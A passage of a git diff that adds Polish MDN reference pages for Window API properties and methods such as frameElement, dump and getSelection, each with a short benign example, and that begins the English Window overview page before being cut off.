for a long time, and you should use <code>content</code> in the new code.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">var <var>windowObject</var> = window.content; +</pre> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<p>Executing the following code in a chrome XUL window with a <code><browser type="content-primary"/></code> element in it draws a red border around the first div on the page currently displayed in the browser:</p> + +<pre class="eval">content.document.getElementsByTagName("div")[0].style.border = "solid red 1px"; +</pre> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p>Nie jest częścią żadnej specyfikacji.</p> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<ul> + <li><a href="pl/Praca_z_oknami_w_kodzie_chrome">Praca z oknami w kodzie chrome</a></li> + <li>When accessing content documents from privileged code, be aware of <a href="pl/XPCNativeWrapper">XPCNativeWrappers</a>.</li> +</ul> diff --git a/files/pl/web/api/window/controllers/index.html b/files/pl/web/api/window/controllers/index.html new file mode 100644 index 0000000000..cdb67298bf --- /dev/null +++ b/files/pl/web/api/window/controllers/index.html @@ -0,0 +1,24 @@ +--- +title: window.controllers +slug: Web/API/Window/controllers +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/controllers +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca kontrolery XUL okna chrome.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>controllers</i> = window.controllers +</pre> +<ul> + <li><code>controllers</code> jest obiektem typu <code><a href="pl/XULControllers">XULControllers</a></code> (<code><a href="pl/NsIControllers">nsIControllers</a></code>).</li> +</ul> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>XUL-specific. Nie jest częścią specyfikacji.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.controllers", "ja": "ja/DOM/window.controllers" } ) }}</p> diff --git a/files/pl/web/api/window/crypto/index.html b/files/pl/web/api/window/crypto/index.html new file mode 100644 index 0000000000..5d7bac8666 --- /dev/null +++ b/files/pl/web/api/window/crypto/index.html @@ -0,0 +1,19 @@ +--- +title: window.crypto +slug: Web/API/Window/crypto +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/crypto +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca obiekt crypto przeglądarki, który może być wtedy użyty do manipulacji różnymi własnościami zabezpieczeń przeglądarki.</p> +<p>Zobacz więcej szczegółów o <a href="pl/JavaScript_crypto">JavaScript crypto</a>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0. Nie jest częścią specyfikacji.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.crypto", "ja": "ja/DOM/window.crypto" } ) }}</p> diff --git a/files/pl/web/api/window/defaultstatus/index.html b/files/pl/web/api/window/defaultstatus/index.html new file mode 100644 index 0000000000..f352835233 --- /dev/null +++ b/files/pl/web/api/window/defaultstatus/index.html @@ -0,0 +1,35 @@ +--- +title: window.defaultStatus +slug: Web/API/Window/defaultStatus +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/defaultStatus +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Pobiera/ustawia tekst paska stanu dla danego okna.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>sMsg</i> = window.defaultStatus +window.defaultStatus =<i>sMsg</i> +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>sMsg</code> jest łańcuchem znaków zawierającym tekst, który ma zostać wyświetlony domyślnie na pasku stanu.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre><html> + <body onload="window.defaultStatus='hello!';"/> + <button onclick="window.confirm('Czy jesteś pewien, że chcesz wyjść?');">confirm</button> + </body> +</htm> +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Aby ustawić zawartość paska stanu, gdy okno zostało już otwarte, możemy użyć <code><a href="pl/Dokumentacja_Gecko_DOM/window/status">window.status</a></code>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0. Nie jest częścią specyfikacji.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.defaultStatus", "ja": "ja/DOM/window.defaultStatus" } ) }}</p> diff --git a/files/pl/web/api/window/directories/index.html b/files/pl/web/api/window/directories/index.html new file mode 100644 index 0000000000..7c4e113760 --- /dev/null +++ b/files/pl/web/api/window/directories/index.html @@ -0,0 +1,33 @@ +--- +title: window.directories +slug: Web/API/Window/directories +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/directories +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca obiekt paska adresu okna.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>dirBar</i> = window.directories +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<p> + <i> + dirBar</i> + jest obiektem typu <code>barProp</code>.</p> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre><script> + function dirs() { + alert(window.directories); + } +</script> +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0. Nie jest częścią specyfikacji.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.directories", "ja": "ja/DOM/window.directories" } ) }}</p> diff --git a/files/pl/web/api/window/document/index.html b/files/pl/web/api/window/document/index.html new file mode 100644 index 0000000000..296c81af50 --- /dev/null +++ b/files/pl/web/api/window/document/index.html @@ -0,0 +1,40 @@ +--- +title: window.document +slug: Web/API/Window/document +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/document +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca referencję do dokumentu zawartego w oknie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>doc</i> = window.document +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>doc</code> jest referencją do obiektu <code><a href="pl/DOM/document">document</a></code>.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre><html> +<head> + <title>Witaj, Świecie!</title> +</head> +<body> + +<script type="text/javascript"> + var doc = window.document; + alert( doc.title); // wyświetli: Witaj, Świecie! +</script> + +</body> +</html></pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>{{ DOM0() }}</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.document", "fr": "fr/DOM/window.document", "ja": "ja/DOM/window.document" } ) }}</p> diff --git a/files/pl/web/api/window/dump/index.html b/files/pl/web/api/window/dump/index.html new file mode 100644 index 0000000000..f0ddb923c3 --- /dev/null +++ b/files/pl/web/api/window/dump/index.html @@ -0,0 +1,30 @@ +--- +title: window.dump +slug: Web/API/Window/dump +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/dump +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Wypisuje wiadomość w konsoli.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">dump(<i>wiadomość</i>); +</pre> +<ul> + <li><code>wiadomość</code> to ciąg znaków do wypisania.</li> +</ul> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p><code>dump</code> jest często używany do debugowania JavaScriptu. W uprzywilejowanym kodzie można użyć także <a href="pl/Components.utils.reportError">Components.utils.reportError</a> oraz <a href="pl/NsIConsoleService">nsIConsoleService</a> do zapisu w <a href="pl/Konsola_b%c5%82%c4%99d%c3%b3w">konsoli błędów</a>.</p> +<p>W <a href="pl/Gecko">Gecko</a> <code>dump</code> jest domyślnie zablokowane - jego użycie nic nie powoduje, nie wywołuje też żadnego błędu. Aby zobaczyć wyjście metody <code>dump</code>, musisz włączyć ją, zmieniając preferencję <code>browser.dom.window.dump.enabled</code> na <code>true</code>. Możesz to zrobić za pomocą <a class="external" href="http://kb.mozillazine.org/About:config">about:config</a> lub <a class="external" href="http://kb.mozillazine.org/User.js_file">pliku user.js</a></p> +<p>Żeby cokolwiek zobaczyć, będziesz potrzebował konsoli. Jeśli jeszcze jej nie masz, zamknięcie programu i wywołanie z parametrem <tt>-console</tt> w linii poleceń powinno otworzyć konsolę.</p> +<p><code>dump</code> jest też dostępny dla komponentów XPCOM implementowanych w JavaScript, mimo że w ich kontekście <a href="pl/DOM/window">window</a> nie jest obiektem globalnym.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>{{ DOM0() }}</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.dump", "fr": "fr/DOM/window.dump", "ja": "ja/DOM/window.dump" } ) }}</p> diff --git a/files/pl/web/api/window/focus/index.html b/files/pl/web/api/window/focus/index.html new file mode 100644 index 0000000000..35cb33dbc4 --- /dev/null +++ b/files/pl/web/api/window/focus/index.html @@ -0,0 +1,24 @@ +--- +title: window.focus +slug: Web/API/Window/focus +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/focus +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Ustawia okno jako aktywne.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">window.focus() +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">if (clicked) { window.focus(); } +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM poziom 0. Nie jest częścią specyfikacji.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.focus", "ja": "ja/DOM/window.focus" } ) }}</p> diff --git a/files/pl/web/api/window/frameelement/index.html b/files/pl/web/api/window/frameelement/index.html new file mode 100644 index 0000000000..773e7d37e2 --- /dev/null +++ b/files/pl/web/api/window/frameelement/index.html @@ -0,0 +1,34 @@ +--- +title: window.frameElement +slug: Web/API/Window/frameElement +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/frameElement +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca element (jak np. <code><iframe></code> lub <code><object></code>), w którym osadzone jest okno lub wartość <code>null</code>, gdy okno jest najwyższego poziomu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">var<i>frameEl</i> = window.frameElement; +</pre> +<ul> + <li><code>frameEl</code> jest elementem, w którym jest osadzone okno lub <code>null</code>, jeśli okno jest najwyższego poziomu.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">var frameEl = window.frameElement; +// jeśli jesteśmy wewnątrz ramki, to zmień jej adres URL na '<span class="nowiki">http://mozilla.org/</span>' +if (frameEl) + frameEl.src = '<span class="nowiki">http://mozilla.org/</span>'; +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zauważ, że pomimo swojej nazwy własność działa również dla dokumentów wewnątrz <code><object></code> lub innych elementów osadzających.</p> +<p>Zobacz także <code><a href="pl/DOM/window.parent">window.parent</a></code>, który zwraca okno-rodzica, którym jest okno zawierające <code>frameElement</code> okna-dziecka.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>{{ DOM0() }}</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.frameElement", "ja": "ja/DOM/window.frameElement" } ) }}</p> diff --git a/files/pl/web/api/window/frames/index.html b/files/pl/web/api/window/frames/index.html new file mode 100644 index 0000000000..1e1e625ca4 --- /dev/null +++ b/files/pl/web/api/window/frames/index.html @@ -0,0 +1,31 @@ +--- +title: window.frames +slug: Web/API/Window/frames +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/frames +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca obiekt tablico-podobny, zawierający listę ramek podrzędnych bieżącego okna.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>frameList</i> = window.frames; +</pre> +<ul> + <li><code>frameList</code> jest listą obiektów ramki.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">var frames = window.frames; // lub // var frames = window.parent.frames; +for (var i = 0; i < frames.length; i++) { + // zrób coś z każdą ramką podrzędną jako frames[i] + frames[i].document.body.style.background = "red"; +} +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 0. Nie jest częścią specyfikacji.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.frames", "ja": "ja/DOM/window.frames" } ) }}</p> diff --git a/files/pl/web/api/window/getselection/index.html b/files/pl/web/api/window/getselection/index.html new file mode 100644 index 0000000000..c6768feb45 --- /dev/null +++ b/files/pl/web/api/window/getselection/index.html @@ -0,0 +1,39 @@ +--- +title: window.getSelection +slug: Web/API/Window/getSelection +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/getSelection +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca obiekt zaznaczenia reprezentujący zakres tekstu zaznaczonego przez użytkownika. Zauważ, że nie ma to żadnego powiązania z obiektem listy selekcji DOM!</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>selection</i> =<i>window</i>.getSelection(); +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>selection</code> jest obiektem <a href="pl/DOM/Selection">selekcji</a>.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">function foo() { + var selObj = window.getSelection(); + alert(selObj); + var selRange = selObj.getRangeAt(0); + // teraz możemy operować na zakresie +} +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>W JavaScript, kiedy przesyłany jest obiekt selekcji do funkcji, zamiast jej, przesyłana jest jej reprezentacja w postaci ciągu znaków (tj. zaznaczony tekst). Może to złudnie przypominać, że obiekt selekcji wygląda jak ciąg znaków (obiekt <code>string</code>), kiedy tak naprawdę ma swoje własne właściwości i metody. Dokładniej, zwracana jest wartość wywołania metody <code><a href="pl/DOM/Selection/toString">toString()</a></code>. <span class="comment">I'm treading carefully with the word "convert" here because it could be misinterpreted as a permanent convert - Maian</span></p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM poziomu 0. Nie jest częścią specyfikacji.</p> +<h3 id="Zobacz_r.C3.B3wnie.C5.BC" name="Zobacz_r.C3.B3wnie.C5.BC">Zobacz również</h3> +<p><code><a href="pl/DOM/Selection">Selection</a>, <a href="pl/DOM/range">Range</a></code></p> +<p> </p> +<p> </p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.getSelection", "es": "es/DOM/window.getSelection", "fr": "fr/DOM/window.getSelection", "it": "it/DOM/window.getSelection", "ja": "ja/DOM/window.getSelection" } ) }}</p> diff --git a/files/pl/web/api/window/index.html b/files/pl/web/api/window/index.html new file mode 100644 index 0000000000..0c833217a3 --- /dev/null +++ b/files/pl/web/api/window/index.html @@ -0,0 +1,494 @@ +--- +title: window +slug: Web/API/Window +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/Window +--- +<p>{{APIRef}}</p> + +<p><span class="seoSummary">The <code>window</code> object represents a window containing a DOM document; the <code>document</code> property points to the <a href="/en-US/docs/DOM/document">DOM document</a> loaded in that window.</span> A window for a given document can be obtained using the {{Domxref("document.defaultView")}} property.</p> + +<p>This section provides a brief reference for all of the methods, properties, and events available through the DOM <code>window</code> object. The <code>window</code> object implements the <code>Window</code> interface, which in turn inherits from the <code><a href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-AbstractView">AbstractView</a></code> interface. Some additional global functions, namespaces, objects, interfaces, and constructors, not typically associated with the window, but available on it, are listed in the <a href="/en-US/docs/JavaScript/Reference">JavaScript Reference</a> and <a href="/en-US/docs/Web/API/Document_Object_Model" title="/en-US/docs/Web/API/Document_Object_Model">DOM Reference</a>.</p> + +<p>In a tabbed browser, such as Firefox, each tab contains its own <code>window</code> object (and if you're writing an extension, the browser window itself is a separate window too - see <a href="/en-US/docs/Working_with_windows_in_chrome_code#Content_windows">Working with windows in chrome code</a> for more information). That is, the <code>window</code> object is not shared between tabs in the same window. Some methods, namely {{Domxref("window.resizeTo")}} and {{Domxref("window.resizeBy")}} apply to the whole window and not to the specific tab the <code>window</code> object belongs to. Generally, anything that can't reasonably pertain to a tab pertains to the window instead.</p> + +<p>{{InheritanceDiagram}}</p> + +<h2 id="Properties">Properties</h2> + +<p><em>This interface inherits properties from the {{domxref("EventTarget")}} interface and implements properties from the {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("WindowEventHandlers")}} mixins.</em></p> + +<p>Note that properties which are objects (e.g.,. for overriding the prototype of built-in elements) are listed in a separate section below.</p> + +<dl> + <dt>{{domxref("Window.closed")}} {{Non-standard_inline}}{{readOnlyInline}}</dt> + <dd>This property indicates whether the current window is closed or not.</dd> + <dt>{{domxref("Window.console")}} {{ReadOnlyInline}}</dt> + <dd>Returns a reference to the console object which provides access to the browser's debugging console.</dd> + <dt>{{domxref("Window.content")}} and Window._content {{Non-standard_inline}} {{obsolete_inline}}{{ReadOnlyInline}}</dt> + <dd>Returns a reference to the content element in the current window. Since Firefox 57 (initially Nightly-only), both versions are only available from chrome (privileged) code, and not available to the web anymore.</dd> + <dt>{{domxref("Window.controllers")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt> + <dd>Returns the XUL controller objects for the current chrome window.</dd> + <dt>{{domxref("Window.customElements")}}{{ReadOnlyInline}}</dt> + <dd>returns a reference to the {{domxref("CustomElementRegistry")}} object, which can be used to register new <a href="/en-US/docs/Web/Web_Components/Using_custom_elements">custom elements</a> and get information about previously registered custom elements.</dd> + <dt>{{domxref("Window.crypto")}} {{readOnlyInline}}</dt> + <dd>Returns the browser crypto object.</dd> + <dt>{{domxref("Window.defaultStatus")}} {{Obsolete_inline("gecko23")}}</dt> + <dd>Gets/sets the status bar text for the given window.</dd> + <dt>{{domxref("Window.devicePixelRatio")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt> + <dd>Returns the ratio between physical pixels and device independent pixels in the current display.</dd> + <dt>{{domxref("Window.dialogArguments")}} {{Fx_minversion_inline(3)}} {{ReadOnlyInline}}</dt> + <dd>Gets the arguments passed to the window (if it's a dialog box) at the time {{domxref("window.showModalDialog()")}} was called. This is an {{Interface("nsIArray")}}.</dd> + <dt>{{domxref("Window.directories")}} {{obsolete_inline}}</dt> + <dd>Synonym of {{domxref("window.personalbar")}}</dd> + <dt>{{domxref("Window.document")}} {{ReadOnlyInline}}</dt> + <dd>Returns a reference to the document that the window contains.</dd> + <dt>{{domxref("Window.DOMMatrix")}} {{readOnlyInline}} {{experimental_inline}}</dt> + <dd>Returns a reference to a {{domxref("DOMMatrix")}} object, which represents 4x4 matrices, suitable for 2D and 3D operations.</dd> + <dt>{{domxref("Window.DOMMatrixReadOnly")}} {{readOnlyInline}} {{experimental_inline}}</dt> + <dd>Returns a reference to a {{domxref("DOMMatrixReadOnly")}} object, which represents 4x4 matrices, suitable for 2D and 3D operations.</dd> + <dt>{{domxref("Window.DOMPoint")}} {{readOnlyInline}} {{experimental_inline}}</dt> + <dd>Returns a reference to a {{domxref("DOMPoint")}} object, which represents a 2D or 3D point in a coordinate system.</dd> + <dt>{{domxref("Window.DOMPointReadOnly")}} {{readOnlyInline}} {{experimental_inline}}</dt> + <dd>Returns a reference to a {{domxref("DOMPointReadOnly")}} object, which represents a 2D or 3D point in a coordinate system.</dd> + <dt>{{domxref("Window.DOMQuad")}} {{readOnlyInline}} {{experimental_inline}}</dt> + <dd>Returns a reference to a {{domxref("DOMQuad")}} object, which provides represents a quadrilaterial object, that is one having four corners and four sides.</dd> + <dt>{{domxref("Window.DOMRect")}} {{readOnlyInline}} {{experimental_inline}}</dt> + <dd>Returns a reference to a {{domxref("DOMRect")}} object, which represents a rectangle.</dd> + <dt>{{domxref("Window.DOMRectReadOnly")}} {{readOnlyInline}} {{experimental_inline}}</dt> + <dd>Returns a reference to a {{domxref("DOMRectReadOnly")}} object, which represents a rectangle.</dd> + <dt>{{domxref("Window.frameElement")}} {{readOnlyInline}}</dt> + <dd>Returns the element in which the window is embedded, or null if the window is not embedded.</dd> + <dt>{{domxref("Window.frames")}} {{readOnlyInline}}</dt> + <dd>Returns an array of the subframes in the current window.</dd> + <dt>{{domxref("Window.fullScreen")}} {{gecko_minversion_inline("1.9")}}</dt> + <dd>This property indicates whether the window is displayed in full screen or not.</dd> + <dt>{{domxref("Window.globalStorage")}} {{gecko_minversion_inline("1.8.1")}} {{Non-standard_inline}} {{Obsolete_inline("gecko13")}}</dt> + <dd>Unsupported since Gecko 13 (Firefox 13). Use {{domxref("Window.localStorage")}} instead.<br> + Was: Multiple storage objects that are used for storing data across multiple pages.</dd> + <dt>{{domxref("Window.history")}} {{ReadOnlyInline}}</dt> + <dd>Returns a reference to the history object.</dd> + <dt>{{domxref("Window.innerHeight")}} {{readOnlyInline}}</dt> + <dd>Gets the height of the content area of the browser window including, if rendered, the horizontal scrollbar.</dd> + <dt>{{domxref("Window.innerWidth")}} {{readOnlyInline}}</dt> + <dd>Gets the width of the content area of the browser window including, if rendered, the vertical scrollbar.</dd> + <dt>{{domxref("Window.isSecureContext")}} {{readOnlyInline}}</dt> + <dd>Indicates whether a context is capable of using features that require secure contexts.</dd> + <dt>{{domxref("Window.length")}} {{readOnlyInline}}</dt> + <dd>Returns the number of frames in the window. See also {{domxref("window.frames")}}.</dd> + <dt>{{domxref("Window.location")}}</dt> + <dd>Gets/sets the location, or current URL, of the window object.</dd> + <dt>{{domxref("Window.locationbar")}} {{ReadOnlyInline}}</dt> + <dd>Returns the locationbar object, whose visibility can be toggled in the window.</dd> + <dt>{{domxref("Window.localStorage")}} {{readOnlyInline}}{{gecko_minversion_inline("1.9.1")}}</dt> + <dd>Returns a reference to the local storage object used to store data that may only be accessed by the origin that created it.</dd> + <dt>{{domxref("Window.menubar")}} {{ReadOnlyInline}}</dt> + <dd>Returns the menubar object, whose visibility can be toggled in the window.</dd> + <dt>{{domxref("Window.messageManager")}} {{gecko_minversion_inline("2.0")}}</dt> + <dd>Returns the <a href="/en-US/docs/The_message_manager">message manager</a> object for this window.</dd> + <dt>{{domxref("Window.mozAnimationStartTime")}} {{ReadOnlyInline}}{{gecko_minversion_inline("2.0")}} {{Deprecated_inline}}</dt> + <dd>The time in milliseconds since epoch at which the current animation cycle began.</dd> + <dt>{{domxref("Window.mozInnerScreenX")}} {{ReadOnlyInline}}{{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt> + <dd>Returns the horizontal (X) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See <code>mozScreenPixelsPerCSSPixel</code> in {{interface("nsIDOMWindowUtils")}} for a conversion factor to adapt to screen pixels if needed.</dd> + <dt>{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}</dt> + <dd>Returns the vertical (Y) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See <code>mozScreenPixelsPerCSSPixel</code> for a conversion factor to adapt to screen pixels if needed.</dd> + <dt>{{domxref("Window.mozPaintCount")}} {{non-standard_inline}}{{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}}</dt> + <dd>Returns the number of times the current document has been rendered to the screen in this window. This can be used to compute rendering performance.</dd> + <dt>{{domxref("Window.name")}}</dt> + <dd>Gets/sets the name of the window.</dd> + <dt>{{domxref("Window.navigator")}} {{readOnlyInline}}</dt> + <dd>Returns a reference to the navigator object.</dd> + <dt>{{domxref("Window.NetworkInformation")}} {{readOnlyInline}} {{experimental_inline}}</dt> + <dd>Returns a reference to the {{domxref("NetworkInformation")}} interface, which provides information about the connection a device is using to communicate with the network and provides a means for scripts to be notified if the connection type changes. </dd> + <dt>{{domxref("Window.opener")}}</dt> + <dd>Returns a reference to the window that opened this current window.</dd> + <dt>{{domxref("Window.orientation")}}{{non-standard_inline}}{{deprecated_inline}}{{readOnlyInline}}</dt> + <dd>Returns the orientation in degrees (in 90 degree increments) of the viewport relative to the device's natural orientation.</dd> + <dt>{{domxref("Window.outerHeight")}} {{readOnlyInline}}</dt> + <dd>Gets the height of the outside of the browser window.</dd> + <dt>{{domxref("Window.outerWidth")}} {{readOnlyInline}}</dt> + <dd>Gets the width of the outside of the browser window.</dd> + <dt>{{domxref("Window.scrollX","Window.pageXOffset")}} {{readOnlyInline}}</dt> + <dd>An alias for {{domxref("window.scrollX")}}.</dd> + <dt>{{domxref("Window.scrollY","Window.pageYOffset")}}{{readOnlyInline}}</dt> + <dd>An alias for {{domxref("window.scrollY")}}</dd> + <dt>{{domxref("Window.sessionStorage")}} {{readOnlyInline}}</dt> + <dd>Returns a reference to the session storage object used to store data that may only be accessed by the origin that created it.</dd> + <dt>{{domxref("Window.StaticRange")}} {{experimental_inline}} {{readonlyinline}}</dt> + <dd>Returns a {{domxref('StaticRange.StaticRange','StaticRange()')}} constructor which creates a {{domxref('StaticRange')}} object.</dd> + <dt>{{domxref("Window.parent")}} {{readOnlyInline}}</dt> + <dd>Returns a reference to the parent of the current window or subframe.</dd> + <dt>{{domxref("Window.performance")}} {{readOnlyInline}}</dt> + <dd>Returns a {{domxref("Performance")}} object, which includes the {{domxref("Performance.timing", "timing")}} and {{domxref("Performance.navigation", "navigation")}} attributes, each of which is an object providing <a href="/en-US/docs/Navigation_timing">performance-related</a> data. See also <a href="/en-US/docs/Web/API/Navigation_timing_API/Using_Navigation_Timing">Using Navigation Timing</a> for additional information and examples.</dd> + <dt>{{domxref("Window.personalbar")}} {{readOnlyInline}}</dt> + <dd>Returns the personalbar object, whose visibility can be toggled in the window.</dd> + <dt>{{domxref("Window.pkcs11")}} {{obsolete_inline(29)}}</dt> + <dd>Formerly provided access to install and remove PKCS11 modules.</dd> + <dt>{{domxref("Window.returnValue")}} {{Fx_minversion_inline(3)}}</dt> + <dd>The return value to be returned to the function that called {{domxref("window.showModalDialog()")}} to display the window as a modal dialog.</dd> + <dt>{{domxref("Window.screen")}} {{readOnlyInline}}</dt> + <dd>Returns a reference to the screen object associated with the window.</dd> + + <dt>{{domxref("Window.screenX")}} {{readOnlyInline}}</dt> + <dd>Returns the horizontal distance of the left border of the user's browser from the left side of the screen.</dd> + <dt>{{domxref("Window.screenY")}} {{readOnlyInline}}</dt> + <dd>Returns the vertical distance of the top border of the user's browser from the top side of the screen.</dd> + <dt>{{domxref("Window.scrollbars")}} {{readOnlyInline}}</dt> + <dd>Returns the scrollbars object, whose visibility can be toggled in the window.</dd> + <dt>{{domxref("Window.scrollMaxX")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt> + <dd>The maximum offset that the window can be scrolled to horizontally, that is the document width minus the viewport width.</dd> + <dt>{{domxref("Window.scrollMaxY")}}{{non-standard_inline}}{{ReadOnlyInline}}</dt> + <dd>The maximum offset that the window can be scrolled to vertically (i.e., the document height minus the viewport height).</dd> + <dt>{{domxref("Window.scrollX")}} {{readOnlyInline}}</dt> + <dd>Returns the number of pixels that the document has already been scrolled horizontally.</dd> + <dt>{{domxref("Window.scrollY")}} {{readOnlyInline}}</dt> + <dd>Returns the number of pixels that the document has already been scrolled vertically.</dd> + <dt>{{domxref("Window.self")}} {{ReadOnlyInline}}</dt> + <dd>Returns an object reference to the window object itself.</dd> + <dt>{{domxref("Window.sessionStorage")}} {{Fx_minversion_inline("2.0")}}</dt> + <dd>Returns a storage object for storing data within a single page session.</dd> + <dt>{{domxref("Window.sidebar")}} {{non-standard_inline}}{{ReadOnlyInline}}</dt> + <dd>Returns a reference to the window object of the sidebar.</dd> + <dt>{{domxref("Window.speechSynthesis")}} {{ReadOnlyInline}}</dt> + <dd>Returns a {{domxref("SpeechSynthesis")}} object, which is the entry point into using <a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a> speech synthesis functionality.</dd> + 